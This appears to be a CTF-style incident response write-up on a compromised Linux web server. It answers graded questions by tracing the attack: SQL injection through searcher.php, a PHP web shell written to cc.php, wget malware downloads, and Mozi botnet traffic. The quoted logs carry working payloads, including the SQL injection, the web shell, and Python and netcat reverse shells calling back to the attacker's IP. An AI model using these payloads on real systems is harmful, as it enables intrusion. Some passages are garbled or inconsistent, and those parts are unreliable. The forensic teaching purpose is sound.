

Scenario

One of our web application servers has been compromised and the incident response team has isolated the machine. You’ve been provided with remote access; investigate the system and figure out the attacker’s actions.

Investigation

What is the name of the malicious process? Provide the full path of the binary (3 points)

/usr/bin/appleaday

Correct! ✓

command ‘ps -aux’ lists all process runing on the system.

root	1759	0.0	0.0	21772	3372	?	S	17:34	0:00 /bin/bash /var/
ubuntu	1761	0.1	0.2	183416	21136	?	S	17:34	0:00 xfwm4
ubuntu	1768	0.3	0.5	378380	41688	?	Sl	17:34	0:00 xfce4-panel
ubuntu	1770	0.4	0.3	432992	28748	?	Sl	17:34	0:01 Thunar --daemon
ubuntu	1772	1.0	0.5	569164	45292	?	Sl	17:34	0:02 xfdesktop
ubuntu	1776	0.0	0.6	795892	49696	?	Ssl	17:34	0:00 xfce4-power-man
ubuntu	1781	0.0	0.3	644832	26108	?	Sl	17:34	0:00 update-notifier
ubuntu	1783	0.0	0.0	349220	6296	?	Sl	17:34	0:00 /usr/lib/at-spi
ubuntu	1790	0.0	0.0	49928	3848	?	S	17:34	0:00 /usr/bin/dbus-d
ubuntu	1791	0.0	0.1	377964	15384	?	Ssl	17:34	0:00 xfsettingsd
ubuntu	1795	0.0	0.0	220776	6884	?	Sl	17:34	0:00 /usr/lib/at-spi
ubuntu	1817	0.0	0.3	670900	30408	?	Sl	17:34	0:00 nm-applet
ubuntu	1847	0.0	0.0	187904	5292	?	Sl	17:34	0:00 /usr/lib/dconf/
ubuntu	1851	0.0	0.0	285296	7008	?	Sl	17:34	0:00 /usr/lib/gvfs/g
ubuntu	1860	0.0	0.0	69648	5212	?	S	17:34	0:00 xscreensaver -n
root	1862	0.0	0.0	0	0	?	I	17:34	0:00 [kworker/1:4-ev
root	1863	0.0	0.0	0	0	?	I	17:34	0:00 [kworker/1:5-ev
root	1864	0.0	0.0	0	0	?	I	17:34	0:00 [kworker/1:6-me
ubuntu	1871	0.0	0.2	408228	16216	?	Sl	17:34	0:00 /usr/lib/x86_64
ubuntu	1905	0.0	0.1	394780	13096	?	Sl	17:34	0:00 /usr/bin/pulsea
ubuntu	1932	0.0	0.1	453036	15564	?	SNl	17:34	0:00 /usr/lib/x86_64
root	1934	0.0	0.0	0	0	?	I	17:34	0:00 [kworker/1:7-ev
rtkit	1935	0.0	0.0	183512	2980	?	SNsl	17:34	0:00 /usr/lib/rtkit/
ubuntu	2023	0.0	0.1	169708	14380	?	S	17:34	0:00 /usr/lib/x86_64
ubuntu	2025	0.0	0.1	179292	15776	?	S	17:34	0:00 /usr/lib/x86_64
ubuntu	2060	0.0	0.1	299660	8300	?	Sl	17:34	0:00 /usr/lib/gvfs/g

In the list, many processes belongs to system. Such as: XFCE series of destop environnement

- xfwm4: windows management
- xfdesktop: backgroud and irons management
- Thunar: XFCE file management
- nm-applet: NetworkManager tray iron

After search, a process named “appleaday” is suspicious because it is not a system command. It is a software intalled.

root	843	0.0	0.0	1007088	4156	?	Sl	17:34	0:00 appleaday
------	-----	-----	-----	---------	------	---	----	-------	----------------

We can use command “locate” to get the path of this software.

```
ubuntu@ip-10-0-1-208:~$ locate appleaday
/usr/bin/appleaday
```

What is the port that the malicious process listens on? (3 points)

445

Correct! ✓

```
ubuntu@ip-10-0-1-208:~$ sudo ss -tulnp
Netid      State      Recv-Q      Send-Q      Local Address:Port
udp        UNCONN     0            0            127.0.0.53%lo:53
users:((("systemd-resolve",pid=710,fd=12))
udp        UNCONN     0            0            10.0.1.208%ens5:68
users:((("systemd-network",pid=692,fd=17))
tcp        LISTEN     0            80          127.0.0.1:3306
users:((("mysqld",pid=1293,fd=29))
tcp        LISTEN     0            5          127.0.0.1:5901
users:((("Xtigervnc",pid=1506,fd=7))
tcp        LISTEN     0            5          127.0.0.1:5902
users:((("Xtigervnc",pid=3493,fd=7))
tcp        LISTEN     0            128         127.0.0.53%lo:53
users:((("systemd-resolve",pid=710,fd=13))
tcp        LISTEN     0            128         0.0.0.0:22
users:((("sshd",pid=1142,fd=3))
tcp        LISTEN     0            100         0.0.0.0:443
users:((("python3",pid=3788,fd=3),("python3",pid=3731,fd=3))
tcp        LISTEN     0            4096        127.0.0.1:445
users:((("appleaday",pid=843,fd=3))
tcp        LISTEN     0            5          [::]:5901
users:((("Xtigervnc",pid=1506,fd=8))
tcp        LISTEN     0            5          [::]:5902
users:((("Xtigervnc",pid=3493,fd=8))
tcp        LISTEN     0            511         *:80
users:((("apache2",pid=4221,fd=4),("apache2",pid=4220,fd=4),("apache2",pid=4219,fd=4),("apache2",pid=4218,fd=4),("apache2",pid=4217,fd=4),("apache2",pid=121
tcp        LISTEN     0            128         [::]:22
users:((("sshd",pid=1142,fd=4))
```

```
ubuntu@ip-10-0-1-208:~$ sudo ss -tulnp | grep appleaday
tcp        LISTEN     0            4096        127.0.0.1:445      0.0.0.0:*      users:((("appleaday",pid=843,fd=3))
```

Provide the full URL from which the malware was downloaded to the system (3 points)

http://18.132.210.238:6565/appleaday

Correct! ✓

Using “grep” command to filter the audit.log about "appleaday".

```
ubuntu@ip-10-0-1-208:~$ grep -r 'appleaday' /var/log/
/var/log/audit/audit.log:type=EXECVE msg=audit(1786469656.831:569): argc=3 a0="/bin/sh" a1="-c" a2="appleaday"
/var/log/audit/audit.log:type=SYSCALL msg=audit(1786469656.839:572): arch=c000003e syscall=59 success=yes exit=0 a0=55936acac68 a1=5
id=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=2 comm="appleaday" exe="/usr/bin/appleaday" key=(null)
/var/log/audit/audit.log:type=EXECVE msg=audit(1786469656.839:572): argc=1 a0="appleaday"
/var/log/audit/audit.log:type=PATH msg=audit(1786469656.839:572): item=0 name="/usr/bin/appleaday" inode=2212 dev=103:01 mode=0100755
=0 cap_frootid=0
/var/log/audit/audit.log:type=PROCTITLE msg=audit(1786469656.839:572): proctitle="appleaday"
/var/log/audit/audit.log:type=EXECVE msg=audit(1786474081.658:4256): argc=2 a0="locate" a1="appleaday"
/var/log/audit/audit.log:type=EXECVE msg=audit(1786475197.563:4376): argc=3 a0="grep" a1="--color=auto" a2="appleaday"
/var/log/audit/audit.log:type=EXECVE msg=audit(1786475422.713:4427): argc=5 a0="grep" a1="--color=auto" a2="-r" a3="appleaday" a4="/v
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283292.643:370360): argc=2 a0="wget" a1="http://18.132.210.238:6565/appleaday"
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283292.643:370360): argc=2 a0="wget" a1="http://18.132.210.238:6565/appleaday"
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283292.643:370360): argc=3 a0="chmod" a1="+x" a2="appleaday"
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283292.643:370360): argc=3 a0="cp" a1="appleaday" a2="/usr/bin/."
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283292.643:370360): argc=3 a0="/bin/sh" a1="/usr/bin/which" a2="appleaday"
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283628.240:508): argc=3 a0="/bin/sh" a1="-c" a2="appleaday"
/var/log/audit/audit.log.3:type=SYSCALL msg=audit(1666283628.240:509): arch=c000003e syscall=59 success=yes exit=0 a0=5581771dfb68 a1
uid=0 gid=0 euid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="appleaday" exe="/usr/bin/appleaday" key=(null)
/var/log/audit/audit.log.3:type=EXECVE msg=audit(1666283628.240:509): argc=1 a0="appleaday"
/var/log/audit/audit.log.3:type=PATH msg=audit(1666283628.240:509): item=0 name="/usr/bin/appleaday" inode=2212 dev=103:01 mode=01007
er=0 cap_frootid=0
/var/log/audit/audit.log.3:type=PROCTITLE msg=audit(1666283628.240:509): proctitle="appleaday"
/var/log/audit/audit.log.2:type=EXECVE msg=audit(1666283892.508:534): argc=3 a0="/bin/sh" a1="-c" a2="appleaday"
```

There was another file downloaded from the same server.
Provide the full URL (3 points)

`http://18.132.210.238:4646/LinEnum.sh`

Correct! ✓

```
ubuntu@ip-10-0-1-208:~$ grep -r 'http://18.132.210.238' /var/log/
/var/log/audit/audit.log: type=EXECVE msg=audit(1786475733.139:4448): argc=5 a0="grep" a1="--color=auto" a2="-r" a3="http://18.132.210.238" a4="/var/log/"
/var/log/audit/audit.log.3: type=EXECVE msg=audit(1666283292.643:370360): argc=2 a0="wget" a1="http://18.132.210.238:6565/appleaday"
/var/log/audit/audit.log.3: type=EXECVE msg=audit(1666283292.643:370360): argc=2 a0="wget" a1="http://18.132.210.238:6565/appleaday"
/var/log/audit/audit.log.3: type=EXECVE msg=audit(1666283292.647:370362): argc=2 a0="wget" a1="http://18.132.210.238:4646/LinEnum.sh"
grep: /var/log/btmp.1: Permission denied
grep: /var/log/amazon/ssm/errors.log: Permission denied
grep: /var/log/amazon/ssm/amazon-ssm-agent.log: Permission denied
grep: /var/log/amazon/ssm/audits: Permission denied
grep: /var/log/amazon/ssm/hibernate.log: Permission denied
Binary file /var/log/journal/9804f342c65c433a9790eb50e3b1b0c1/system.journal matches
```

What is the port running on the system that was used as the entry point, and what was the type of vulnerability exploited? (3 points)

80, SQL injection

Correct! ✓

Based on the ports information, I have checked the Auth.log for ssh connection history. The result is that there is no Brute force happen.

```
ubuntu@ip-10-0-2-180:/$ sudo ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port users:
udp UNCONN 0 0 127.0.0.53:domain 0.0.0.0:* users:({ "systemd-resolve",pid=712,fd=12})
udp UNCONN 0 0 10.0.2.180:ens5:bootpc 0.0.0.0:* users:({ "systemd-network",pid=692,fd=15})
tcp LISTEN 0 128 127.0.0.53:domain 0.0.0.0:* users:({ "systemd-resolve",pid=712,fd=13})
tcp cubic cwnd:10 0 128 0.0.0.0:ssh 0.0.0.0:* users:({ "sshd",pid=1138,fd=3})
tcp LISTEN 0 100 0.0.0.0:https 0.0.0.0:* users:({ "python3",pid=4059,fd=3},{ "python3",pid=3742,fd=3})
tcp cubic cwnd:10 0 4096 127.0.0.1:microsoft-ds 0.0.0.0:* users:({ "appleaday",pid=892,fd=3})
tcp LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:* users:({ "mysqld",pid=1292,fd=29})
tcp cubic cwnd:10 0 5 127.0.0.1:5901 0.0.0.0:* users:({ "Xtigervnc",pid=1510,fd=7})
tcp LISTEN 0 5 127.0.0.1:5902 0.0.0.0:* users:({ "Xtigervnc",pid=3495,fd=7})
tcp cubic cwnd:10 0 128 :::ssh :::* users:({ "sshd",pid=1138,fd=4})
tcp LISTEN 0 5 :::1:5901 :::* users:({ "Xtigervnc",pid=1510,fd=8})
tcp cubic cwnd:10 0 5 :::1:5902 :::* users:({ "Xtigervnc",pid=3495,fd=8})
tcp LISTEN 0 511 *:http 0.0.0.0:* users:({ "apache2",pid=4624,fd=4},{ "apache2",pid=4623,fd=4},{ "apache2",pid=1191,fd=4})
cubic cwnd:10
```

Xtigervnc is the remote desktop service. The file folder lists all ip address used to connect remote desk. We do not have the property registration information. Do next investigation.

```
ubuntu@ip-10-0-2-180:/var$ cd /
ubuntu@ip-10-0-2-180:/$ cd ~/.vnc/
ubuntu@ip-10-0-2-180:~/.vnc$ ls
ip-10-0-0-6:1.log ip-10-0-2-180.eu-west-2.compute.internal:1.pid ip-10-0-5-121:1.log ip-172-31-11-206:1.pid ip-172-31-6-247:1.log
ip-10-0-0-6:1.pid ip-10-0-2-180.eu-west-2.compute.internal:2.log ip-10-0-5-121:1.log ip-172-31-13-219:1.log ip-172-31-6-247:1.log
ip-10-0-1-149.eu-west-2.compute.internal:1.log ip-10-0-2-180.eu-west-2.compute.internal:2.pid ip-172-31-0-4:1.log ip-172-31-13-219:1.log ip-172-31-8-163:1.log
ip-10-0-1-149.eu-west-2.compute.internal:1.pid ip-10-0-4-157.eu-west-2.compute.internal:1.log ip-172-31-0-4:1.log ip-172-31-15-216:1.log ip-172-31-8-163:1.log
ip-10-0-1-149.eu-west-2.compute.internal:2.log ip-10-0-4-157.eu-west-2.compute.internal:1.pid ip-172-31-0-4:2.log ip-172-31-15-216:1.log ip-172-31-9-210:1.log
ip-10-0-1-149.eu-west-2.compute.internal:2.pid ip-10-0-4-157.eu-west-2.compute.internal:2.log ip-172-31-0-4:2.log ip-172-31-24-241:1.log ip-172-31-9-210:1.log
ip-10-0-11-133:1.log ip-10-0-4-157.eu-west-2.compute.internal:2.pid ip-172-31-11-141:1.log ip-172-31-24-241:1.log ip-172-31-9-210:2.log
ip-10-0-11-133:1.pid ip-10-0-5-121.eu-west-2.compute.internal:1.log ip-172-31-11-141:1.log ip-172-31-39-169:1.log ip-172-31-9-210:2.log
ip-10-0-13-5:1.log ip-10-0-5-121.eu-west-2.compute.internal:1.log ip-172-31-11-141:2.log ip-172-31-39-169:1.log ip-172-31-9-210:3.log
ip-10-0-13-5:1.pid ip-10-0-5-121.eu-west-2.compute.internal:2.log ip-172-31-11-141:2.log ip-172-31-45-55:1.log passwd
ip-10-0-2-180.eu-west-2.compute.internal:1.log ip-10-0-5-121.eu-west-2.compute.internal:2.pid ip-172-31-11-206:1.log ip-172-31-45-55:1.log xstartup
```

Apache are the web HTTP server software. We can review the apache.log to figuer out any suspicious items.

[illegible]

Recipe

URL Decode

This is often used when dealing with malicious links or IoTs.

Works well when combined with the 'Extract URLs' operation.

More information in [this article](#).

📄 📁 🗑️

length: 268
lines: 1

+

📁

🔄

🗑️

📄

Input

root&qHeb=6140%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20../%2F../%2Fetc%2Fpasswd%27%29%23

📄 📁 🗑️

time: 4ms
length: 182
lines: 1

📄

📁

🔄

🗑️

📄

Output

root&qHeb=6140 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../etc/passwd')#

What is the name of the file that had the vulnerability?
Provide the full system path (3 points)

```
/var/www/html/prod/old/searcher.php
```

Correct! ✓

We can notice that all SQL injection url including a "seacher.php". So we locate the path with "locate" command.

What is the name of the file created and what is the first command executed by the attacker? (3 points)

cc.php, whoami

Correct! ✓

After

0%20%20%20%20%20%206016%29%2c%27%20jq%27%29--%20%20 HTTP/1.1" 200 561 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
18.132.210.238 - - [18/Mar/2021:17:49:34 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20null%2cnull%2cnull%2c%20concat%20x%271626a6a71%2c%28case%20when%20%20quarter%28null%29%20is%20null%29%20then%20%20else%20%20end%29%2c%20x%2716a717071%29--%20%20 HTTP/1.1" 200 503 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
18.132.210.238 - - [18/Mar/2021:17:49:34 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20null%2cnull%2cnull%2c%20concat%20x%271626a6a71%2c%28case%20when%20%20session_user%28%29%20like%20user%28%29%20then%20%20else%20%20end%29%2c%20x%2716a717071%29--%20%20 HTTP/1.1" 200 503 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
18.132.210.238 - - [18/Mar/2021:17:49:34 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20null%2cnull%2cnull%2c%20concat%20x%271626a6a71%2c%28case%20when%20%20version%28%29%20like%20x%254d61726961444225%29%20then%20%20else%20%20end%29%2c%20x%2716a717071%29--%20%20 HTTP/1.1" 200 503 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
18.132.210.238 - - [18/Mar/2021:17:49:34 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20null%2cnull%2cnull%2c%20concat%20x%271626a6a71%2c%28case%20when%20%20timestampadd%28minute%2c1939%2cnull%29%29%20then%20%20else%20%20end%29%2c%20x%2716a717071%29--%20%20 HTTP/1.1" 200 503 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
18.132.210.238 - - [18/Mar/2021:17:50:22 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22test%22%22into%20outfile%20%27/var/www/html/prod/old/test.txt HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:50:39 +0000] "GET /prod/old/test.txt HTTP/1.1" 404 492 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:50:47 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22test%22,2%20into%20outfile%20%27/var/www/html/prod/old/test.txt HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:50:49 +0000] "GET /prod/old/test.txt HTTP/1.1" 404 491 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:50:58 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22test%22,2,3%20into%20outfile%20%27/var/www/html/prod/old/test.txt HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:51:12 +0000] "GET /prod/old/test.txt HTTP/1.1" 200 293 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:51:58 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22%3c?php%20echo%20system(\$_REQUEST[%27cmd%27]);?%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:05 +0000] "GET /prod/old/cc.php HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:14 +0000] "GET /prod/old/cc.php?cmd=whoami HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:54:17 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:56:40 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:01:48 +0000] "GET /prod/old/cc.php?cmd=nc%2018.132.210.238%20443 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:20:55 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:23:06 +0000] "GET /favicon.ico HTTP/1.1" 404 491 "http://18.134.12.182/prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"

ubuntu@ip-10-0-2-180: ~/.vnc\$ locate searcher.php
/var/www/html/prod/old/searcher.php

```
user=root' union select "<?php echo system($_REQUEST['cmd']);?>",2,3,4  
%3C?php%20echo%20system($_REQUEST[%27cmd%27]);?  
%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php |
```

Output

time: lms
length: 115
lines: 1



```
user=root' union select "<?php echo system($_REQUEST['cmd']);?>",2,3,4  
into outfile '/var/www/html/prod/old/cc.php
```

/old/cc.php HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:05 +0000] "GET /prod/old/cc.php HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:14 +0000] "GET /prod/old/cc.php?cmd=whoami HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"

The attacker obtained a reverse shell, what was the language used to create the reverse shell and what is the lowest port used? (4 points)

python, 443

Correct! ✓

```
18.132.210.238 - - [18/Mar/2021:17:51:08 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22test%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/test.txt HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:51:12 +0000] "GET /prod/old/test.txt HTTP/1.1" 200 293 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:51:58 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22%3C?php%20echo%20system($_REQUEST[%27cmd%27]);%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:05 +0000] "GET /prod/old/cc.php HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:52:14 +0000] "GET /prod/old/cc.php?cmd=whoami HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:54:17 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:17:56:40 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:01:48 +0000] "GET /prod/old/cc.php?cmd=nc%2018.132.210.238%20443 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:20:55 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:18:23:06 +0000] "GET /favicon.ico HTTP/1.1" 404 491 "http://18.134.12.182/prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:19:25:19 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22%3C?php%20echo%20system($_REQUEST[%27cmd%27]);%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:19:25:19 +0000] "GET /favicon.ico HTTP/1.1" 404 492 "http://18.134.12.182/prod/old/searcher.php?user=root%27%20union%20select%20%22%3C?php%20echo%20system($_REQUEST[%27cmd%27]);%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:19:12:53 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:19:45:19 +0000] "GET /prod/old/searcher.php?user=root%27%20union%20select%20%22%3C?php%20echo%20system($_REQUEST[%27cmd%27]);%3E%22,2,3,4%20into%20outfile%20%27/var/www/html/prod/old/cc.php HTTP/1.1" 200 501 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
18.132.210.238 - - [18/Mar/2021:19:25:34 +0000] "GET /prod/old/cc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2218.132.210.238%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 HTTP/1.1" 200 210 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
42.235.191.173 - - [18/Mar/2021:21:10:55 +0000] "GET /shell?cd=/tmp;rm+-rf+;wget+http://42.235.191.173:55799/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 492 "-" "Hello, world"
```